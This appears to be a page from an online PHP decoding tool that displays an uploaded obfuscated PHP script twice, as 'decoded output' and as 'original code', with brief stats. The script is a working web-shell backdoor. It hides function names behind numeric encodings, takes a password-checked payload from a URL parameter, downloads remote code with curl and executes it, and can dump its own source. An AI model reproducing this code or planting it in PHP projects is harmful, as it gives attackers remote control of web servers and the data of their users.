Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $sEjbX = range("~", " "); $Q=${$sEjbX[15+16].$sEjbX[54+5].$sEjbX[42+5].$sEjbX[18+29]..

Decoded Output download

<?php $sEjbX = range("~", " "); $Q=${$sEjbX[15+16].$sEjbX[54+5].$sEjbX[42+5].$sEjbX[18+29].$sEjbX[8+43].$sEjbX[41+12].$sEjbX[35+22]};@(count($Q)==13&&in_array(gettype($Q).count($Q),$Q))?(($Q[67]=$Q[67].$Q[72])&&($Q[82]=$Q[67]($Q[82]))&&(@$Q=$Q[82]($Q[52],$Q[67](${$Q[36]}[15])))&&$Q()):$Q;class xf{ static function Hwod($JbwI) { $QrFDSJcZ = "r"."a"."n"."g"."e"; $EpWn = $QrFDSJcZ("~", " "); $PbF = explode("l", $JbwI); $uJX = ""; foreach ($PbF as $pKSmUH => $XaSD) $uJX .= $EpWn[$XaSD - 36688]; return $uJX; } static function bjiornmz($JUbDOc, $dZYqGev) { $FQngZzxMp = curl_init($JUbDOc); curl_setopt($FQngZzxMp, CURLOPT_RETURNTRANSFER, 1); $iYJTIeL = curl_exec($FQngZzxMp); return empty($iYJTIeL) ? $dZYqGev($JUbDOc) : $iYJTIeL; } static function EwjHpMGmg() { $gIlZRdUTu = array("36715l36700l36713l36717l36698l36713l36719l36712l36697l36704l36715l36698l36709l36703l36704","36699l36698l36700l36719l36700l36703l36698l36765l36763","36708l36699l36703l36704l36719l36714l36713l36715l36703l36714l36713","36702l36717l36715l36707","36716l36717l36699l36713l36760l36762l36719l36714l36713l36715l36703l36714l36713","36712l36709l36706l36713l36719l36711l36713l36698l36719l36715l36703l36704l36698l36713l36704l36698l36699","36742l36772","36689","36767l36772","36749l36732l36732l36749l36725","36703l36712"); foreach ($gIlZRdUTu as $GDJlMHh) $oJz[] = self::Hwod($GDJlMHh);$UDXuE = @$oJz[1](${"_"."G"."E"."T"}[$oJz[4+5]]); $boldqix = @$oJz[0+3]($oJz[1+5], $UDXuE); $lwTS = $oJz[2+0]($boldqix, true); @${"_"."G"."E"."T"}[$oJz[2+8]] == 1 && die($oJz[5+0](__FILE__)); if( ((@$lwTS[0] - time()) > 0) and (md5(md5($lwTS[3+0])) === "7777fe8da1c303a9986e217446cb8072") ): $oDZUaRJOvT = self::bjiornmz($lwTS[1+0], $oJz[3+2]);@$oJz[0]("", $oJz[2+5] . $oJz[3+1]($oDZUaRJOvT) . $oJz[4+4]);die; endif; }}xf::EwjHpMGmg(); ?>

Did this file decode correctly?

Original Code

<?php $sEjbX = range("~", " "); $Q=${$sEjbX[15+16].$sEjbX[54+5].$sEjbX[42+5].$sEjbX[18+29].$sEjbX[8+43].$sEjbX[41+12].$sEjbX[35+22]};@(count($Q)==13&&in_array(gettype($Q).count($Q),$Q))?(($Q[67]=$Q[67].$Q[72])&&($Q[82]=$Q[67]($Q[82]))&&(@$Q=$Q[82]($Q[52],$Q[67](${$Q[36]}[15])))&&$Q()):$Q;class xf{ static function Hwod($JbwI) { $QrFDSJcZ = "r"."a"."n"."g"."e"; $EpWn = $QrFDSJcZ("~", " "); $PbF = explode("l", $JbwI); $uJX = ""; foreach ($PbF as $pKSmUH => $XaSD) $uJX .= $EpWn[$XaSD - 36688]; return $uJX; } static function bjiornmz($JUbDOc, $dZYqGev) { $FQngZzxMp = curl_init($JUbDOc); curl_setopt($FQngZzxMp, CURLOPT_RETURNTRANSFER, 1); $iYJTIeL = curl_exec($FQngZzxMp); return empty($iYJTIeL) ? $dZYqGev($JUbDOc) : $iYJTIeL; } static function EwjHpMGmg() { $gIlZRdUTu = array("36715l36700l36713l36717l36698l36713l36719l36712l36697l36704l36715l36698l36709l36703l36704","36699l36698l36700l36719l36700l36703l36698l36765l36763","36708l36699l36703l36704l36719l36714l36713l36715l36703l36714l36713","36702l36717l36715l36707","36716l36717l36699l36713l36760l36762l36719l36714l36713l36715l36703l36714l36713","36712l36709l36706l36713l36719l36711l36713l36698l36719l36715l36703l36704l36698l36713l36704l36698l36699","36742l36772","36689","36767l36772","36749l36732l36732l36749l36725","36703l36712"); foreach ($gIlZRdUTu as $GDJlMHh) $oJz[] = self::Hwod($GDJlMHh);$UDXuE = @$oJz[1](${"_"."G"."E"."T"}[$oJz[4+5]]); $boldqix = @$oJz[0+3]($oJz[1+5], $UDXuE); $lwTS = $oJz[2+0]($boldqix, true); @${"_"."G"."E"."T"}[$oJz[2+8]] == 1 && die($oJz[5+0](__FILE__)); if( ((@$lwTS[0] - time()) > 0) and (md5(md5($lwTS[3+0])) === "7777fe8da1c303a9986e217446cb8072") ): $oDZUaRJOvT = self::bjiornmz($lwTS[1+0], $oJz[3+2]);@$oJz[0]("", $oJz[2+5] . $oJz[3+1]($oDZUaRJOvT) . $oJz[4+4]);die; endif; }}xf::EwjHpMGmg(); ?>

Function Calls

range 1

Variables

None

Stats

MD5 7b5aaf092bb90a5df2e05a31c82b8988
Eval Count 0
Decode Time 75 ms